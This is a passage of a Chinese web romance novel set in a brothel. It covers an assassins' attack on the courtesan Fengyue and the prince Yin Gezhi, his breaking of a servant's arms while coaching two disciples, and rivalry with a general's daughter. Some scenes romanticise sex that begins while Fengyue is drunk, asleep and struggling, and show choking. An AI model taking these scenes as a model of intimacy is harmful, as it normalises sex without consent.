对于她这种不碍事的行为,殷戈止还是很满意的,侧身躲开暗器,顺手就拔了她头上的金簪,格开直冲面门而来的长剑。
“叮”地一声响,仿若兵器交接,小小的金簪将对面的黑衣人震得虎口微麻。黑衣人瞳孔里露出点恐惧来,退后几步站在飞檐上,犹豫不决。
风月瞧着,忍不住嘀咕:“当**的这点自信都没有,还杀什么人啊?”
闻言,黑衣人狠狠瞪了她一眼,举剑就朝殷戈止冲过去!后者身手矫捷,不慌不忙地躲着他的攻击,一双眼直直地盯着黑衣人的眼睛。
被这气势所慑,黑衣人目光慌乱,很快就露了破绽,下盘一弱,被殷戈止一个扫堂腿,直接便从望乡楼上滚了下去。
瓦片同人骨肉砸下去的声音一起在底下炸响,殷戈止拂了衣袍,颇为张狂地道:“要么就一起上,要么你们就歇着,这样一个个地来,不如不来!”
瞧瞧,武功高就是牛逼,敢一个人单挑人家一群!要是她是刺客,听着这话,那就不上了,回家洗洗睡。可暗处的那些人好像很有骨气,被这么一激,“刷刷刷”地就来了十个人,无声地站在屋檐四周。
“好嚣张的口气。”为首的刺客终于开口,像是被气坏了,捏着刀直抖:“兄弟们给我上,把这两个人剁成肉酱!”
嗯,肉酱。
嗯?等等?把两个人剁成肉酱?风月瞪大眼,看了看殷戈止又低头看了看自己,忍不住咆哮出声:“关我什么事啊!放狠话的是他,你们剁他不就好了!凭啥连我也剁!”
“你给我闭嘴!”低喝一声,殷戈止伸手又拔了她两根簪子,当暗器一样冲着人家脑门就扔。
混战顿起,风月压根躲无可躲,只能在殷戈止脚下求得片刻安宁。
眼眸微微染红,殷戈止明显是兴奋了起来,一个人在人群之中游刃有余,跟玩似的与他们过招,先将人家的刀剑都夺了扔下楼,然后就一副“略略略来打我啊”的样子在刺客群中晃荡。
风月抱着脑袋偷看战况,心想她要是刺客,肯定也被这**气**,打不过也就罢了,还得被他当猴耍!
刺客的确是气**,站在后头屋檐上的一个黑衣人愤怒地抬起了袖子,对准了殷戈止的背心。
瞳孔微缩,风月下意识地就起身,扑上殷戈止的背,大喊了一声:“小心!”
这声音震耳欲聋,直接把望乡楼里头的人都喊醒了。殷戈止被吼得脑子里一阵嗡鸣,侧身就躲过了背后
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的袖箭,皱眉回头看了看身后。
红纱裹着香气,在暗夜里显得格外惑人,她那僵硬的胳膊勒在他脖子上,老实说,很不舒服,他有点呼吸不上来。但是背是战斗中最脆弱的地方,被她这么一抱,莫名的,倒是有点踏实。
“你这是想保护我?”
语气里嘲讽之意甚浓,风月听得撇了撇嘴:“没啊,奴家躲箭呢,自己躲不过来,还是趴在您背上比较安全。”
瞎操的什么心呐!以殷戈止这样警戒的性子,别说背后的袖箭了,背后的牛毛针他也躲得开。
脸上有点羞耻的红晕,风月把头埋在他背后,老老实实地将自己伪装成一个包袱。
前头的刺客正浑身紧绷地盯着殷戈止,冷不防好像看见他笑了笑,吓得年纪小点的刺客差点从屋檐上掉下去。
“头儿。”胆子大的刺客看见殷戈止这表情,也不太淡定了:“要不咱们先撤吧?这看起来不太妙啊……”
“怕什么!”为首的刺客强自镇定,再一扫殷戈止月光下那张恍若阎王的脸,终于是站不住了,哆哆嗦嗦地道:“不怕也得留着兄弟们的命在……先撤!”
“刷刷刷”地几声,跟他们来的时候一样,离场的声音也十分整齐。
四周安静了下来,风月睁开一只眼瞧了瞧,看着安全了,才伸长了脖子出来,松了口气:“好可怕啊!”
殷戈止抖了抖背,像是想把她抖下来,奈何背后的人跟座泰山似的,竟然纹丝不动。
“喂。”他皱眉:“你勒着我了。”
“哦。”松开他站下来,风月心疼地看了看自己的簪子,掰开这位大爷的手拿回来,抹了抹重新插回头上:“公子竟然惹着刺客了?”
背后一松,夜风一吹倒是凉得很,殷戈止眯眼道:“并非我惹事,而是他们闲得无聊非得取我性命。”
就吴国对魏国之时,吴国朝廷之中一直有两种声音,一种是安于现状,一种是再次攻打魏国,将魏国完全划为吴国地界。
朝廷之上自然是前一种声音占上风,但别有用心之人,自然会想方设法刺杀他,以便挑起两国间的战事,达到扩张吴国版图的目的。
“您这样也太危险了。”风月皱眉:“没人护着您吗?先前您身边的那个小哥呢?”
护着他?殷戈止垂眸:“我不需要人护着。”
久疏沙场,能来人让他闻闻鲜血的味道,也是不错的。这些人就算**,也不会被归为命案,真是分外的方便。
深深地看他一眼,风月坐在屋檐上就开始耍赖:“别的奴家不管,但是公子,您扔了奴家两支簪子,还在奴家房间里**,又让奴家看了这么吓人的场面,您得补偿奴家!奴家的小心肝都要吓得跳出喉咙了嘤嘤嘤。”
这女人……
转头看她,殷戈止眼神复杂。
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第18章 狐假虎威
说她什么好呢?骂她没个正经吧,关键时刻竟然还知道帮他挡箭。要夸她英勇无畏吧,这会儿倒跟他坐地耍赖了。
“两支簪子是吗?”居高临下地看着她,他道:“我赔给你。”
“簪子好说,还有惊得奴家的小心肝扑通扑通的补偿!”风月扁嘴,眨巴着眼睛,伸手戳着自个儿的心口:“吓死奴家了啦~”
不知道是不是夜风太凉,殷戈止打了个哆嗦,浑身都起了颤栗。
屋脊上的小妖精一点也不觉得羞耻,一脸泫然欲泣的表情,大有“你不赔我就哭给你看,哭出鼻涕泡!”的意思。
脸上的表情松了些,殷戈止走过去,微微弯腰就将她整个人捞起来,捂在怀里,原路奔向梦回楼。
殷戈止人不怎么样,身上的血腥味也重,但当真舍得用两只手来抱人的时候,怀抱便格外踏实,踏实得风月差点睡着。
将人塞进被子里,殷戈止转身将屋里的尸体扔下楼,关上窗户锁上门,然后更衣上床。
“你想要什么,明日就去买,算作我给你的补偿。”看着风月的背影,殷戈止板着脸说了一句。
风月迷糊地应了,接着就没听见声音了。
正以为这人要直接睡觉呢,谁知道身后一热,整个背部的轮廓都被人贴得严丝合缝。殷戈止高八尺,这么卷着她,很容易地就让风月想到了招摇街尾的肉卷——他是外头的面皮,她是里头的那片肉,包得严严实实的。
身下被什么东西抵着,风月装作没察觉,背后这人竟然也当真没动,说完这句话就闭眼睡了。
呼吸绵长,热气吐在她耳畔,恍然间让她觉得这里不是窑子,而是安静祥和的宅院主屋,神仙眷侣般的两个人相拥而眠,温暖又美好。
然而,窑子就是窑子,注定是要被人打破宁静的。一大早风月就被下头的声音吵醒了,难得的,还是个男人的声音。
“青楼不都是给银子就能赎人吗,凭什么我要赎人就不让?欺负人?”
“这位公子。”金妈妈小声地赔笑:“风月有客人在。”
“天都亮了,有客人也该伺候完了!”孙力狠命地拍着桌子:“你们敢耍什么花样,我拆了你这楼!”
金妈妈皱眉,颇有些不爽,这年头什么人都敢嚷嚷着要拆她楼,越是没本事就越叫得凶,这人一看就不是个好东西,有钱她也不会让他赎了风月!
三楼另一边早起的姑娘们倒是笑眯眯地在看热闹了,瞧着下头的孙力,断弦啧啧道:“这两日风月的生意可真是好啊,还有人愿意给她赎身了,好福气。”
“瞧你这话说得。”微云摇头:“下头那人看样子就不如风月这两日接的客人有身份,真给赎走了,算什么福气?”
“话不能这么说啊,咱们这行的,有人愿意给赎身就不错了,还挑肥拣瘦的么?”断弦哼道:“真要拒绝这人的赎身,那不摆明了是个趋炎附势的?以后谁来赎她?”
想了想,好像也是这么个道理,青楼女子也是要名声的,越是高雅的青楼,越讲究个气节,真被传出“见高踩低”的名声,那也算是毁了。
吵嚷的声音不绝于耳,殷戈止睁眼,一张脸黑得难看。
风月瞧着,立马滚下床,骨碌碌地滚到隔断后头躲着,小声道:“这可不是奴家吵您的啊,下头在闹呢。”
被人吵醒的殷戈止一向暴躁,起身,眼睛都没睁开,直接把外室里放着的雕花漆红的圆桌拎起来,开门就往下一扔!
“哐当!”桌子砸碎在大堂中央,吓得孙力瞬间没了声音。
安静了,殷大皇子松了眉头,继续回去睡觉。
风月裹了衣裳,拎了灵殊进来给自个儿梳了发髻,等下头重新响起点声音的时候,才蹑手蹑脚地出门,一溜烟地跑下楼看情况。
“出什么事了?”
碎裂的木桌旁边,金妈妈淡定地笑着,指了指被吓白脸的孙力:“这位公子想给你赎身。”
“哦,赎身啊?”看了看孙力,风月捏着帕子笑:“承蒙公子厚爱,咱们这梦回楼,客人想给姑娘们赎身,姑娘要是不愿意,您也是带不走人的。”
“你不愿意?”眯眼看着她,孙力脸上重新带了戾气,像市井的流氓,颇有些威胁的意味。
这点儿气势,自然是不可能吓着风月的,小妖精媚眼一抛就道:“不愿意啊。”
“你!”孙力气得一拍桌子:“我肯要你就已经很不错了,你还想怎样?看不起我?”
“这位公子。”风月笑道:“人要别人看得起,首先得自己看得起自己,您这张口闭口的都觉得是咱们梦回楼看不起您,不给赎身,实在是太过自卑。”
“我自卑?”孙力哼笑,抹了一把自己方形的脸,小小的眼睛里露出鄙夷:“我给人干活,挣的都是干净钱,比你们这些张腿挣钱的女人不知道好多少,你有脸跟我说自卑?”
话说得难听了,金妈妈都沉了脸:“这位公子,自重。”
“您觉得咱们这儿的姑娘不干净,那您捧着银子眼巴巴地上来给奴家赎身做什么?”冷了眼神,风月一步步朝这边走过来,周身少了妩媚旖旎,倒是莫名的给人压迫感:
“嘴里骂咱们低贱,自己又贱得慌拿钱来要咱们低贱,公子,到底是你们贱些,还是姑娘们贱啊?一个男人瞧着也是而立之年了,嘴里还这么不干不净的,贵府是不是从小不太重视礼仪教导?”
说一句,靠近他一步,风月眼神冷冽,分明穿的是罗袖红纱,却仿佛拿着**骑着高马,逼得孙力不停地往旁边挪,差点摔到地上。
“我……”
“你什么你?”风月眯眼:“想给我赎身?好啊,赎身的价钱都是姑娘们和金妈妈商量着定的,妈妈,我要给自个儿定个一万两黄金,您说成吗?”
“成!”想都没想,金妈妈点头就应了。
脸涨得通红,孙力半晌没回过神,等反应过来自己被个妓子吓成这样的时候,又急又羞,起身就一把将风月推开:“真以为我这么好欺负?我告诉你
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,这人是将军府的大小姐要奴才来赎的,你们这般侮辱我,就是侮辱将军府!什么梦回楼,我呸!明儿就让你开不成!”
金妈妈一愣,一众姑娘也都被吓了一跳。楼上的断弦等人飞一般地就跑了下来,着急地道:“将军府哪里是咱们能开罪得起的?妈妈你也是,跟着风月胡来做什么?”
微云看着风月就道:“咱们总不能因为你一个,就毁了整个梦回楼!你快去跟这位公子道歉,好生说说,让他赎身。”
“是啊,你的事,凭什么牵扯到我们啊?”
扫了她们一圈,风月叹息,这楼里的姑娘们还真是巴不得她走呢。
“我不。”要是别的地方,她可能还会犹豫一下,偏生是将军府,是这个孙力,那她是决计不会答应的。
这俩字一出来,一众姑娘当即就炸了:“你怎么这般自私?让你跟人走而已,又不是要了你的命,做什么非得连累我们?”
“就是啊,金妈妈待你也不薄,好吃好喝地供着你,你就这般不识好歹?”
任凭她们说,风月站在大堂中央,冷冷地看着孙力,就是没动。
孙力嗤笑,得意地看着她被众人**,翘着二郎腿看着金妈妈道:“怎么样?现在让赎身了吗?”
“不让。”
冰冷的两个字从楼梯砸下来,震得众人一顿。
姑娘们纷纷侧头,就见殷戈止披着外袍,像是没睡醒的样子,眉目间满是沉怒地看着这边。
风月一身刚硬的气势瞬间就软了,无辜地朝他直吐舌头,要是背后有尾巴,肯定还会讨好地摇两下。
大魔王终于被吵醒了!
不爽地看向孙力,殷戈止慢慢走下来,众人纷纷让开一条路。
孙力自然是认识他的,笑了两声正想套近乎,没想到脖子倏地一紧!
直接捏着他的脖子拎起来看了看,殷戈止疑惑地问:“你说你是谁派来的?”
被掐得白了脸,孙力挣扎了两下,艰难地道:“殿下息怒……奴才,奴才是易大小姐身边的人啊,您不记得了吗?”
易大小姐?迟钝地反应了一下,殷戈止扔开他,面无表情地道:“狐假虎威。”
被这四个字说得脸上一阵红一阵白,孙力还是得爬回来跪好,硬着头皮道:“的确是大小姐的吩咐,说是这位姑娘对她有恩,所以让奴才把她赎出去过好日子。”
“我呸!”有殷戈止在,风月瞬间就有底气了,很是狗腿地跑到人家背后躲着,伸出脑袋就恶狠狠地道:“你那叫让我过好日子?将军府里想强我未遂,怕是要买我回去让我生不如死!”
身子一僵,殷戈止皱眉,缓缓回头看了风月一眼:“你说什么?”
风月眨眼,突然想起自己昨儿回来没跟这位爷说实话,当即心虚地干笑了两声:“没什么。”
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第19章 断手教学
眼神沉了沉,殷戈止盯着她,大有“你不说清楚我就盯穿你”的气势。
咽了口唾沫,风月扭头,朝着孙力的方向龇牙咧嘴:“就他,想在将军府里照顾奴家生意,被奴家拒绝了,大概面儿上过不去,所以来找奴家麻烦。”
所以披着丫鬟的衣裳回来,是因为外袍被人扯了?
殷戈止颔首,一张脸线条紧绷,缓缓地转头看向孙力。
跌坐着的孙力一个哆嗦,像是看见了什么恐怖至极的东西,一边往后爬一边道:“奴才不赎了,奴才还要回去跟大小姐复命呢……”
没吭声,殷戈止安静地跟着他的动作往外走,走到梦回楼门口,孙力像是终于找回点力气,爬起来就跑!
“你去准备早点。”不慌不忙地回头吩咐了风月一声,殷戈止道:“我出去买点东西。”
“……好。”点点头,风月立马就往厨房冲,速度比孙力还快!
殷戈止这个人真的太可怕了,一旦生气,虽然脸上看不出个什么,但站在他身边都会觉得呼吸困难,生怕怒火一个跑偏就烧到了自己身上。
分明是个年轻人,但这浑身的气势,倒是比上了年纪的长辈还吓人,怪不得治军严明呢,恐怕军营里敢不听话的,不**也能被吓死!
但是……他这么生气做什么?
拎了灵殊来代劳早膳,风月坐在旁边撑着下巴,很是认真地思考了一会儿。
“姑娘。”观止跟着进来了,捋了袖子就来帮忙:“您不用担心,有主子在,没人能欺负您的。”
嗯?眨眨眼,风月侧头问他:“你家主子对每个人都这么好吗?”
“也算不得好。”观止老老实实地道:“只是主子的东西,一向不喜欢人碰,孙力犯了忌讳,哪怕是易小姐的人,这回也少不得吃苦头。”
这样啊,风月笑了笑:“那要是换做易小姐,被人冒犯了,你家主子当如何?”
观止一愣,很认真地想了想,然后道:“要是易小姐的话,那冒犯的人肯定会被主子取了性命。”
顿了顿,又觉得不妥,于是再补上一句:“毕竟身份悬殊。”
风月了然,点点头,心里微松。
旁边的灵殊不高兴了,眼睛一瞪就踩了观止一脚:“怎么说话的?”
好笑地摸了摸这小丫头的脑袋,观止道:“你倒是护主,不过我说的都是实话,风月姑娘明事理,自然不会在这些小事上计较。”
不高兴地鼓嘴,又看看自家主子的确没有在乎的表现,灵殊泄了气,老实地煮菜熬粥。
等早膳做好,三人一起上楼回房,推开房门,殷戈止已经在里头了,旁边还多了两个少年。
风月记得,这俩少年是殷戈止刚收的徒弟,蓝色衣裳那个是安国侯府二少爷安世冲,灰色衣裳那个是镇远将军府二少爷徐怀祖。
殷戈止运气真不错,这两人身份不低,天资也不错,收做徒弟,只有好处没有坏处。
不过,教徒弟别的也就算了,怎么还教逛窑子的?!
嘴角抽了抽,风月装作什么也不知道的样子,进去行了个礼:“早膳好了。”
殷戈止正在跟两个徒儿说话,见她进来就停了,跟个大爷似的等着她伺候,连筷子都要给他塞手里。
“您方才买什么去了?”抬袖一笑,风月眨巴着眼看着后头两个小徒弟:“买回来两个人?”
这俩孩子瞧着也就十七八岁的年纪,脸皮还薄,被她一个媚眼就红了脸,一个往左转一个往右转,都不敢看她的脸。
殷戈止很是嫌弃地看着她,很不和善地道:“买什么还要同你禀告?”
“那自然是不用的。”缩了缩脖子,风月委委屈屈地扁嘴:“您说啥就是啥!”
这个人,嘚瑟起来让人想掐死她,委屈起来又跟天塌了似的,眉毛耷拉下来,眼睛水汪汪的,活像他要把她给欺负**。
殷戈止轻轻叹了口气。
背后两个小少爷听见了,微微有点惊讶,忍不住多看了自家师父两眼。
师父会叹气耶!师父早膳也喜欢喝粥耶!师父竟然也拿女人有点没办法耶!
感动得眼眶泛红,安世冲和徐怀祖握了握手,在彼此的眼里都看见了同样的心情——
太好了!师父也是凡人!
从拜师到现在两人都一直战战兢兢的,毕竟殷戈止是活在传说里的人物,他们生怕哪儿触怒师父,引了天灾什么的,但从刚才的街上斗殴到现在的叹息声,他们惊喜地发现,原来师父跟正常人没什么两样啊!
而且,师父打架的时候……或者说是单方面殴打别人的时候,真的是太有气势太好看了!一边打还一边给他们冷静地解释:
“手臂最弱的地方是关节,要打断这只手,你们力道不够,可以用手肘或者小臂外侧,为师省事些,直接拧了。”
“听见他这样的惨叫声,手还动不了,就说明手关节断了,不是脱臼,脱臼没这么痛。另外再来看看这只手。”
“当你攻击的人想反抗的时候,再给他后颈来一个手刀。”
冷静的声音,完全没有被凄厉的惨叫声掩盖,像阴曹地府里的索命之声,不急不缓地在巷子里响起。
殷戈止就像个屠夫,说打断孙力两只手,就真是一只手都没给留下。
安世冲和徐怀祖在他旁边看着,一边听一边记,完全没有问自家师父为什么要揍这个人。
反正师父做的事,肯定都是对的,问那么多干嘛!
经此一事,两个小少爷更加崇拜殷戈止了,跟着他,能学到的东西实在太多了!
于是现在风月瞧见的,就是两个眼里冒光就差没朝殷戈止跪下来的少年郎。
“等用完早膳,你们去宋将军那边,跟着他手底下的士兵一起操练。”殷戈止道:“午时的时候,再来这儿用膳。”
哈?风月有点意外:“来这儿?”
“你有什么意见吗?”殷戈止看向她。
脑袋立马摇得跟拨浪鼓一样,风月赔笑:“没有没有,奴家定然让人好生准备!”
殷大爷不说话了,继续低头喝粥,两个小少年乖乖
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巧巧地跟着他坐下,很是优雅地一起用膳。
风月的肚子“咕”地叫了一声。
斜了她一眼,殷戈止没吭声,用完早膳就打发了两个徒弟,然后进内室休息。
王八蛋啊!观止说多做两份早膳,她还以为这人是变体贴了要跟她一起用膳,没想到自个儿还是只有站着看的份儿!妓子就是没地位,都不能跟人同桌吃饭!
气哼哼地端了盘子要出去,观止却过来接了她的活儿,笑眯眯地塞给她两个肉包子。
诶?风月眨眼,闻了闻这香味儿,眼睛一亮:“你真是个好人!”
耳根一红,观止讷讷地摆手,想说什么又没说出来,只看着面前这姑娘狼吞虎咽地吃了包子,顺手给她倒了杯茶。
感动不已地看着观止,风月感慨:“人与人之间的差别,怎么就这么大呢?魔一般的主子,仙一般的随从!”
内室里传来一声冷哼,吓得风月差点没站稳。他奶奶的,这么久了都还没睡着?
“公子,奴家说笑呢!哈哈哈。”朝着内室的方向拜了拜,风月拔腿就往楼下跑。
观止哭笑不得,只觉得这姑娘真是活泼得紧,比他见过的任何一个女子都活泼,带得主子最近都好像鲜活了些。
倒也不错。
巳时一刻,风月刚收拾好准备上楼,就听得大堂里一阵骚乱,有兵甲碰撞之声整齐地响起,激得她打了个哆嗦。
“各位军爷,这是怎么了?”金妈妈慌了神,看着十几个穿着盔甲的护卫闯进梦回楼,在大堂四周站了个圈儿。
门口堵着的侍卫让开路,最后进来的是个穿着铠甲的姑娘,一身气势也是吓人,张口就叱:“伤人者何在?”
金妈妈战战兢兢地道:“伤什么人啊?大人有话好说,咱们这儿没出过伤人之事啊!”
易掌珠怒极,挥手就让人把孙力抬了进来:“我的随从,在你们这儿被人打断双手,你们梦回楼做的都是黑心生意不成?!”
风月提着裙子跑了出去,扫一眼易掌珠这装扮,皱了皱眉。
细皮嫩肉的,头盔都戴不周正,还穿铠甲。很像她小时候不懂事偷穿父亲铠甲时候的模样,稚嫩不搭。
“易小姐。”朝她行了礼,风月笑着道:“这位公子出我梦回楼的时候是好好的,没有人动手,至于出去之后发生了什么,咱们也不知道,何以一上来就问我梦回楼的罪?”
皱眉看着她,易掌珠一副“恨铁不成钢”的样子看着她道:“我好心让孙力替你赎身,免你半世漂泊,你倒好,拒绝不说,还让人打断他双手!风月姑娘,我原以为你是个好人,但现在看来,你不过就是个趋炎附势的低贱妓子!”
干笑两声,风月恭敬地道:“奴家本就不是什么高贵的人,这儿的客人都知道,整个梦回楼最不要脸的就是奴家,所以奴家愿意漂泊,难承小姐美意。但是孙力的这双手,与奴家无关。”
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第20章 说不得
骂女子低贱已经是很难听的骂法儿了,但是没想到面前这人一点不羞,还言辞凿凿地狡辩!易掌珠噎了一口气,难以置信地看着她。
窑子里的女人,都是这般没自尊的?
孙力好像在昏迷,迷迷糊糊地哀嚎着。易掌珠听得更气,挥手就道:“把这群人给我带回衙门去审查!”
金妈妈慌了,风月也皱眉,侍卫上来押着她,她没反抗,倒是问了一句:“既没当场抓着行凶之人,亦没有衙门批捕的公文,易小姐只凭这一身铠甲,就要抓人吗?”
易掌珠不解地看着她:“孙力是来赎你出的事,我抓你送去衙门,有什么不妥?”
好歹是将军府的小姐,基本的规矩流程都不知道?风月叹息:“您高兴抓就抓吧。”
就算与法不合,但人家身份贵重,想来也不会有人怪她。
“这是做什么?”三楼的栏杆边,有人淡淡地问了一句。
易掌珠抬头,看见殷戈止,吓了一跳:“殷哥哥?你怎么在这儿?”
听见易掌珠的声音,殷戈止皱眉仔细瞧了瞧下头,转身走下来,到她面前站定:“你穿成这样是要做什么?”
低头看了看自己的盔甲,易掌珠脸红了红,呐呐道:“来这种地方,穿女装也不太方便,我就想着穿这个会好些。”
沉默了一瞬,殷戈止也没多说什么,看了旁边的孙力一眼,道:“他双手是我拧断的。”
吓了一跳,易掌珠瞪眼看他:“你……殷哥哥!孙力哪里得罪你了?!”
“并未得罪。”殷戈止平静地负手道:“我是看他忠厚老实,却一直操劳,有些怜悯他,所以拧断他双手,从此他再也不用干活,可以在家里舒服地过下半辈子。”
说完,看向易掌珠:“难道不是为他好吗?”
这怎么能算是为他好?易掌珠皱眉,想反驳,张了张嘴又有些脸红。
她就是一直以这样的论调让孙力去赎风月的,现在总不能说这不算为人家好,那岂不是打了自己的脸?
生生咽下这口气,易掌珠红了眼,沙哑着嗓子道:“殷哥哥说什么,那就是什么吧。既然是你的恩赐,那我也不论了,走就是了。”
说罢,转身就跑。
“掌珠。”殷戈止喊了一声,两个字,轻飘飘的,却像块石头似的砸在风月心上。
瞧瞧这喊得,跟喊别人那硬邦邦的语气可不一样,带着点无奈,还带着点宠溺,喊完便跟着人跑了出去。
哎哟喂这一追一跑的,可真是郎情妾意打情骂俏臭不要脸嘿!
翻了个白眼,风月扫了扫衣裙,转身就往楼上走。
旁边看热闹的断弦等人回过神来,七嘴八舌地就说开了:“那是易家大小姐吧?除了她也没别的女人能有这么大阵仗了,她刚才喊那位公子喊什么?殷哥哥?”
微云倒吸了一口凉气:“殷?这个姓氏是魏国国姓啊!”
魏国国姓的人,在吴国不阴城的,只有一个人——殷大皇子。
几个姑娘心里都是“咯噔”一声,纷纷朝风月这边看过来。
风月垂眸,慢悠悠地走在楼梯上,就像什么也没发生过一样,走得妩媚又优雅。
断弦咬牙,酸里酸气地道:“就算是那位又怎么样?人家那样的身份来咱们这儿,只能是尝惯了山珍海味,想吃点萝卜咸菜。瞧见没?易大小姐一走,人还不是马上追过去了?可没见他对某些人这么好。”
“毕竟身份有别,一个天上花,一个地下泥,可怜有些人将这逢场作戏当了真,最后什么也没落着,才是可怜。”
转身上了三楼,风月朝着对面露出牙笑了笑:“各位姐姐要是担心我,那就不必了,至少我的棺材本是够了。”
伺候那么一个人,得的赏钱都抵得上她们伺候十个人了,同情她?有必要吗?
一句话噎得断弦等人没吭声了,风月下巴一扬,高傲得像只打赢了架的孔雀,进屋关上了门。
“这小蹄子!”断弦恨得牙痒痒:“就没个法子教训她吗!”
“哪有什么办法……”微云叹息:“咱们好生准备准备吧,那位爷来这儿,也不一定就看上风月一个。”
想想也有道理,断弦连忙回屋,好生练起琴来。
屋子里安静下来,风月随意地脱了鞋,雪白的脚丫子踩在地毯上,又踩上了软榻后头的窗台,拎了柜子里藏着的酒,靠在窗边直接仰头便饮。
白天本来就该是她这种人睡觉的时间,反正没客人了,好好喝酒睡一觉吧。
红纱衣碍事,风月皱眉解了腰带,外袍松松垮垮地滑下肩头,露出几道浅浅的疤痕。肌肤如雪,红衣如火,酒水从肩窝溢出来,诱人至极。
她没想勾引谁,这会儿也没这个心情,只是从前不高兴的时候就喜欢这样喝酒,总被父亲叱骂没个规矩,哪儿喝不好,非得爬窗台。
如今再也没人管她啦!不穿鞋没关系,衣衫不整没关系,大口大口地喝酒也没关系!
嘿嘿笑了两声,风月灌了一口酒,捏着酒瓶子的手有些生疼,不过这点疼实在也不算啥,顶多用来在男人面前博同情,当真一个人的时候,这碎了骨头的手,她也能照样用。
喝得迷迷糊糊的,发髻也散了,衣衫也乱了,风月打了个酒嗝,关上窗就回去睡觉。
梦里有人在撕扯她的衣裳,凶狠得像一头狮子。风月不耐烦地挥手,奈何手被人扯着绑住了,那只能动脚——猛地一抬腿将人踹开,然后抱着枕头继续睡。
“你活得不耐烦了?”有人在她耳边低吼:“给我醒醒!”
好不容易喝醉的,谁要醒啊?迷迷糊糊地“呸”了一声,风月嘟囔着抱住不断摇晃她的手,红彤彤的脸蛋在人家手上蹭了蹭,然后继续睡。
屋子里安静了一会儿,接着风月就感觉有泰山压了下来,压得她喘不过气,直挣扎。但她越挣扎吧,这人还越来劲,手扣着她的手,腿压着她的腿,用牙直接撕咬开她的衣襟,跟狼似蹭她。
这一定
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是一场噩梦,风月觉得,既然是梦,那还挣扎个什么劲儿啊?反被动为主动,叫人尝尝什么是欲仙欲死好了!
当初为了学这男女之事,她可是将不阴城所有书铺的**都买空了,苦心钻研,比以前练武还认真,**得一身好功夫,专门为了对付男人。她已经没有喜欢的人啦,身子也不是完封的,爱怎么样怎么样吧,谁在乎呢?
耳边粗重的喘息伴随着嘶哑的低吟,风月觉得自己可能很成功,梦里这人动情都动得这么明显,那一定是被她迷得神魂颠倒了。
要死一起死吧!
黄昏刚至,梦回楼里的动静就不小,一声声高高低低的,激得过路的人都忍不住往里走。
殷戈止知道风月是个浪蹄子,但是没想过她能浪到这种地步,激得他浑身都微微泛红,忍不住伸手捂着她的嘴:“不许叫了!”
几番云雨,酒醒了一半,风月茫然地看着身上这人,然后笑嘻嘻地扯了他的手:“公子这么快就回来啦?”
看了一眼外头的天色,殷戈止没答她,只嫌弃地道:“你可真是浪荡。”
“妓子不浪荡,哪儿来的生意啊?”咯咯笑了两声,风月勾着他的腰就起了身子,媚眼如丝地道:“就像那将军府的小姐,要是不清高,怎么会引得您趋之若鹜?”
脸色猛地一沉,殷戈止伸手就掐住了她的脖子,眼里满是怒气。
“奴家……说错话了?”勉强喘着气,风月还在笑:“还是您觉得,奴家这种**嘴里,不配评说人家小姐啊?”
“是不配。”声音冷漠得完全不像是正在与她纠缠,殷戈止不悦地道:“你做好你自己的事。”
喜她缠绵,又厌她低贱,恩客可真是难伺候。
风月笑着,看他起身更衣,也没留客,只道:“奴家好像不得公子欢心了,公子再包奴家几日,也是浪费钱财,不如就退了银子,另寻个可人儿?”
跟他玩欲擒故纵?殷戈止嗤了一声:“你想赶着上太子的床,那也得把我伺候完。本也未得过我欢心,现在来计较,是不是晚了点?”
气氛瞬间僵硬了起来,观止在门外听得一脸愕然,这好端端的,怎么都吵起来了?刚刚主子进去的时候还挺高兴的,翻书都没他们翻脸快啊!
“奴家明白了。”风月颔首,合了衣裳就下楼去澡堂。
殷戈止满脸戾气,靠在软榻上揉了揉额头。
他这是怎么了?跟个妓子置气?有这必要吗?不过这几日着实是太惯着她了,倒让她自以为是,还敢冲他耍脾气。
女人果然是宠不得。
整理了袍子,殷戈止打开门,冷不防就有人撞进来,绿色的纱衣轻轻盈盈的,比红色的让人瞧着舒心了不少。
“公子……”断弦吓了一跳,脸上瞬间红了:“奴家只是路过,并无冲撞之意!”
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第21章 伺候不了的客人
这路过的方式也太诡异了,不走过道,倒是往他门上撞,借口也不知道找好点?殷戈止有点不耐烦,低头扫她一眼,推着她出门,自己也跟着站出来。正想说去她房里,结果面前的姑娘就跟羊癫疯了似的抖起来,“扑通”一声就给他跪下了!
“公子。”声音里满是颤抖,断弦吓得脸色惨白,朝他磕头道:“奴家当真不是有意的!”
殷戈止一愣,低头认真地反思了一下——自己有这么吓人吗?
“我没怪你。”殷戈止道:“你起来。”
这人的眼神像铁钩一样,惊得断弦不安极了,犹豫了半晌才磨磨蹭蹭地站起来,旁边的人显然更加不耐烦:“你房间在哪儿?”
房间?咽了口唾沫,断弦指了指对面,殷戈止二话不说,抬脚就往那边走。
断弦愣在原地,看了看这位爷的背影,又看了看风月的房门,突然有点后悔。
她是不是做错决定了?
梦回楼的澡堂很大,姑娘们都是一起沐浴,又快又方便,但是有个缺点就是:很吵。
七八个姑娘围在她身边,艳羡地看着她身上的痕迹,叽叽喳喳地道:“风月真是好运气啊,这位恩客人长得俊,也舍得打赏,瞧着……想必功夫也不错。”
她们嘴里的功夫肯定不是武功,风月选择了沉默,安静地刮着自个儿的皮,脸上没有表情,看起来跟在殷戈止和灵殊面前完全不一样,冷漠又疏离。
几个姑娘也早就习惯她了,背地里骂她表里不一,当面儿还是要逢迎一二的,毕竟马上就是花魁选举了,风月这姿色,当选的可能很大,到时候客人多了应付不过来,也能分她们点生意。
所以就算风月瞧着很拒人千里,一众衣裳都没穿的姑娘还是围着她笑:“听闻那位爷身份也贵重,又这般爱惜你,说不定哪日就赎你出去了,咱们啊,可真是羡慕都羡慕不来。”
“是啊,听说那位冲冠一怒为红颜,为了风月,还打断了上门要给风月赎身的恩客的手,哎呀呀,要是有恩客为奴家这么霸道一回,奴家真是死也甘愿!”
洗完了,风月起身,一身的水珠哗啦啦地往下掉,溅得几个姑娘闭了眼。
一句话没吭,她裹了衣裳就走,留下一池的姑娘尴尬地面面相觑。
“这德性!”等人走远了,才有人不悦地道:“对着恩客笑得那么欢,对咱们姐妹倒是清高得不理不睬的,这样的人,也亏得有恩客看得上!”
“谁让人家长得好看呢。”有人嗤笑。
“她哪儿是长得好看?分明是妆粉用得浓,没瞧见来澡堂洗澡都不敢洗脸吗?有本事洗把脸看看,哪有现在这样好看!”
说得也是,风月的妆粉还真是整个梦回楼最浓的,眼睛勾画成了狐眸,唇上朱丹也浓。真要洗了脸,肯定没有这般艳光四射。
几个姑娘得到点安慰,继续沐浴了。风月离开澡堂,什么也没听见,径直往楼上走。
